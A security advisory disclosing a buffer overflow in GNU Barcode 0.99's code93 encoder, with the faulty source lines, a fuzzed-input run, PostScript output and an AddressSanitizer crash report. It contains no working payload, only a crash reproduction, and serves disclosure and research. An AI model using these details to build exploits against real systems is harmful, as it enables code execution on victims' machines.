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GNU Barcode 0.99 - Buffer Overflow
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来源：https://www.zeroscience.mk 作者：LiquidWorm 发布时间：2018-05-30
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# GNU Barcode 0.99 - Buffer Overflow
# Vendor: The GNU Project | Free Software Foundation, Inc.
# Product web page: https://www.gnu.org/software/barcode/
# https://directory.fsf.org/wiki/Barcode
# Author: Gjoko 'LiquidWorm' Krstic
# Tested on: Ubuntu 16.04.4
# Affected version: 0.99
# Summary: GNU Barcode is a tool to convert text strings to printed bars.
# It supports a variety of standard codes to represent the textual strings
# and creates postscript output.
# Desc: The vulnerability is caused due to a boundary error in the processing
# of an input file, which can be exploited to cause a buffer overflow when a
# user processes e.g. a specially crafted file. Successful exploitation could
# allow execution of arbitrary code on the affected machine.
code93.c:
165: strcat(partial, codeset[code]);
166: checksum_str[checksum_len++] = code;
167:
168: /* Encode the second character */
169: code = strchr(alphabet, shiftset2[(int)(text[i])]) - alphabet;
170: strcat(partial, codeset[code]);
171: checksum_str[checksum_len++] = code;
lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -i id:000034,sig:06,src:000000,op:havoc,rep:128
%!PS-Adobe-2.0
%%Creator: "barcode", libbarcode sample frontend
%%DocumentPaperSizes: A4
%%EndComments
%%EndProlog
%%Page: 1 1
% Printing barcode for "W+G$A+M%KWWGWWWWWWWW9WW", scaled 1.00, encoded using "code 39"
% The space/bar succession is represented by the following widths (space first):
% 01311313111333111111113111313111111133131131313111131111311311311131311313111131111131313113111111331333111111133311111111111133131333111111133311111113331111111333111111133311111113331111111333111111133311111111133113111333111111133311111113111113311131131311
[
% height xpos ypos width height xpos ypos width
[75.00 10.50 15.00 0.85] [75.00 14.50 15.00 0.85]
[75.00 17.50 15.00 2.85] [75.00 21.50 15.00 2.85]
[75.00 24.50 15.00 0.85] [70.00 27.50 20.00 2.85]
[70.00 33.50 20.00 2.85] [70.00 36.50 20.00 0.85]
[70.00 38.50 20.00 0.85] [70.00 40.50 20.00 0.85]
[70.00 42.50 20.00 0.85] [70.00 46.50 20.00 0.85]
[70.00 48.50 20.00 0.85] [70.00 52.50 20.00 0.85]
[70.00 56.50 20.00 0.85] [70.00 58.50 20.00 0.85]
[70.00 60.50 20.00 0.85] [70.00 62.50 20.00 0.85]
[70.00 67.50 20.00 2.85] [70.00 71.50 20.00 2.85]
[70.00 74.50 20.00 0.85] [70.00 78.50 20.00 0.85]
[70.00 82.50 20.00 0.85] [70.00 86.50 20.00 0.85]
[70.00 88.50 20.00 0.85] [70.00 91.50 20.00 2.85]
[70.00 94.50 20.00 0.85] [70.00 96.50 20.00 0.85]
[70.00 100.50 20.00 0.85] [70.00 103.50 20.00 2.85]
[70.00 106.50 20.00 0.85] [70.00 110.50 20.00 0.85]
[70.00 112.50 20.00 0.85] [70.00 116.50 20.00 0.85]
[70.00 120.50 20.00 0.85] [70.00 123.50 20.00 2.85]
[70.00 127.50 20.00 2.85] [70.00 130.50 20.00 0.85]
[70.00 132.50 20.00 0.85] [70.00 136.50 20.00 0.85]
[70.00 138.50 20.00 0.85] [70.00 140.50 20.00 0.85]
[70.00 144.50 20.00 0.85] [70.00 148.50 20.00 0.85]
[70.00 152.50 20.00 0.85] [70.00 155.50 20.00 2.85]
[70.00 158.50 20.00 0.85] [70.00 160.50 20.00 0.85]
[70.00 162.50 20.00 0.85] [70.00 167.50 20.00 2.85]
[70.00 171.50 20.00 2.85] [70.00 177.50 20.00 2.85]
[70.00 180.50 20.00 0.85] [70.00 182.50 20.00 0.85]
[70.00 184.50 20.00 0.85] [70.00 187.50 20.00 2.85]
[70.00 193.50 20.00 2.85] [70.00 196.50 20.00 0.85]
[70.00 198.50 20.00 0.85] [70.00 200.50 20.00 0.85]
[70.00 202.50 20.00 0.85] [70.00 204.50 20.00 0.85]
[70.00 206.50 20.00 0.85] [70.00 211.50 20.00 2.85]
[70.00 215.50 20.00 2.85] [70.00 219.50 20.00 2.85]
[70.00 225.50 20.00 2.85] [70.00 228.50 20.00 0.85]
[70.00 230.50 20.00 0.85] [70.00 232.50 20.00 0.85]
[70.00 235.50 20.00 2.85] [70.00 241.50 20.00 2.85]
[70.00 244.50 20.00 0.85] [70.00 246.50 20.00 0.85]
[70.00 248.50 20.00 0.85] [70.00 251.50 20.00 2.85]
[70.00 257.50 20.00 2.85] [70.00 260.50 20.00 0.85]
[70.00 262.50 20.00 0.85] [70.00 264.50 20.00 0.85]
[70.00 267.50 20.00 2.85] [70.00 273.50 20.00 2.85]
[70.00 276.50 20.00 0.85] [70.00 278.50 20.00 0.85]
[70.00 280.50 20.00 0.85] [70.00 283.50 20.00 2.85]
[70.00 289.50 20.00 2.85] [70.00 292.50 20.00 0.85]
[70.00 294.50 20.00 0.85] [70.00 296.50 20.00 0.85]
[70.00 299.50 20.00 2.85] [70.00 305.50 20.00 2.85]
[70.00 308.50 20.00 0.85] [70.00 310.50 20.00 0.85]
[70.00 312.50 20.00 0.85] [70.00 315.50 20.00 2.85]
[70.00 321.50 20.00 2.85] [70.00 324.50 20.00 0.85]
[70.00 326.50 20.00 0.85] [70.00 328.50 20.00 0.85]
[70.00 331.50 20.00 2.85] [70.00 337.50 20.00 2.85]
[70.00 340.50 20.00 0.85] [70.00 342.50 20.00 0.85]
[70.00 344.50 20.00 0.85] [70.00 346.50 20.00 0.85]
[70.00 349.50 20.00 2.85] [70.00 354.50 20.00 0.85]
[70.00 357.50 20.00 2.85] [70.00 360.50 20.00 0.85]
[70.00 363.50 20.00 2.85] [70.00 369.50 20.00 2.85]
[70.00 372.50 20.00 0.85] [70.00 374.50 20.00 0.85]
[70.00 376.50 20.00 0.85] [70.00 379.50 20.00 2.85]
[70.00 385.50 20.00 2.85] [70.00 388.50 20.00 0.85]
[70.00 390.50 20.00 0.85] [70.00 392.50 20.00 0.85]
[70.00 395.50 20.00 2.85] [70.00 398.50 20.00 0.85]
[70.00 400.50 20.00 0.85] [70.00 403.50 20.00 2.85]
[70.00 408.50 20.00 0.85] [75.00 410.50 15.00 0.85]
[75.00 414.50 15.00 0.85] [75.00 417.50 15.00 2.85]
[75.00 421.50 15.00 2.85] [75.00 424.50 15.00 0.85]
] { {} forall setlinewidth moveto 0 exch rlineto stroke} bind forall
[
% char xpos ypos fontsize
[(W) 32.00 10.00 12.00]
[(+) 48.00 10.00 0.00]
[(G) 64.00 10.00 0.00]
[($) 80.00 10.00 0.00]
[(A) 96.00 10.00 0.00]
[(+) 112.00 10.00 0.00]
[(M) 128.00 10.00 0.00]
[(%) 144.00 10.00 0.00]
[(K) 160.00 10.00 0.00]
[(W) 176.00 10.00 0.00]
[(W) 192.00 10.00 0.00]
[(G) 208.00 10.00 0.00]
[(W) 224.00 10.00 0.00]
[(W) 240.00 10.00 0.00]
[(W) 256.00 10.00 0.00]
[(W) 272.00 10.00 0.00]
[(W) 288.00 10.00 0.00]
[(W) 304.00 10.00 0.00]
[(W) 320.00 10.00 0.00]
[(W) 336.00 10.00 0.00]
[(9) 352.00 10.00 0.00]
[(W) 368.00 10.00 0.00]
[(W) 384.00 10.00 0.00]
] { {} forall dup 0.00 ne {
/Helvetica findfont exch scalefont setfont
} {pop} ifelse
moveto show} bind forall
% End barcode for "W+G$A+M%KWWGWWWWWWWW9WW"
showpage
%%Page: 2 2
=================================================================
==11076==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000043bc02 at pc 0x00000042189a bp 0x7fff2f160c00 sp 0x7fff2f160bf0
READ of size 1 at 0x00000043bc02 thread T0
#0 0x421899 in Barcode_93_encode /home/lqwrm/research/barcode-0.99/code93.c:169
#1 0x409ac2 in Barcode_Encode_and_Print /home/lqwrm/research/barcode-0.99/library.c:234
#2 0x402319 in main /home/lqwrm/research/barcode-0.99/main.c:564
#3 0x7f9b8745282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#4 0x404708 in _start (/home/lqwrm/research/barcode-0.99/barcode+0x404708)
0x00000043bc02 is located 32 bytes to the right of global variable '*.LC6' defined in 'code93.c' (0x43bbe0) of size 2
'*.LC6' is ascii string '1'
0x00000043bc02 is located 30 bytes to the left of global variable 'CSWTCH.16' defined in 'code93.c:146:5' (0x43bc20) of size 48
SUMMARY: AddressSanitizer: global-buffer-overflow /home/lqwrm/research/barcode-0.99/code93.c:169 Barcode_93_encode
Shadow bytes around the buggy address:
0x00008007f730: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x00008007f740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00008007f750: 00 00 00 00 07 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x00008007f760: f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
0x00008007f770: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 02 f9 f9 f9
=>0x00008007f780:[f9]f9 f9 f9 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9
0x00008007f790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00008007f7a0: 01 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x00008007f7b0: 00 00 00 00 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9
0x00008007f7c0: 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9
0x00008007f7d0: 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==11076==ABORTING
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